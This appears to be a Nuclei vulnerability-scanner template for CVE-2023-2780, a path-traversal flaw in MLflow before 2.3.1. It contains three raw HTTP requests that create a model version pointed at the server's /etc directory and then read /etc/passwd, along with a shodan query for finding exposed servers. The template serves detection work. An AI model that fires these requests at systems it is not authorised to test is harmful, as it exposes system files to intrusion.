nuclei-templates/http/cves/2023/CVE-2023-2780.yaml

id: CVE-2023-2780

info:
  name: Mlflow <2.3.1 - Local File Inclusion Bypass
  author: iamnoooob,pdresearch
  severity: critical
  description: |
    Path Traversal: '\..\filename' in GitHub repository mlflow/mlflow prior to 2.3.1.
  remediation: |
    Upgrade Mlflow to version 2.3.1 or later to mitigate the vulnerability.
  reference:
    - https://huntr.dev/bounties/b12b0073-0bb0-4bd1-8fc2-ec7f17fd7689/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2780
    - https://github.com/mlflow/mlflow/commit/fae77a525dd908c56d6204a4cef1c1c75b4e9857
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-2780
    cwe-id: CWE-29
    epss-score: 0.01608
    epss-percentile: 0.86004
    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: lfprojects
    product: mlflow
    shodan-query: http.title:"mlflow"
  tags: mlflow,oss,lfi,huntr,cve,cve2023,intrusive

http:
  - raw:
      - |
        POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=utf-8

        {"name":"{{randstr}}"}
      - |
        POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=utf-8

        {"name":"{{randstr}}","source":"file://./etc"}
      - |
        GET /model-versions/get-artifact?path=passwd&name={{randstr}}&version={{version}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - '"version": "([0-9.]+)",'
        internal: true
        part: body
# digest: 4b0a00483046022100e9babc8aa104759da01f4de762d3432808c536498e04b970f189fb290a811942022100c7ea5d09f28999c3e9a31cb458b3a7b6335d0797baa07046467e236fc7cbd5fa:922c64590222798bb761d5b6d8e72950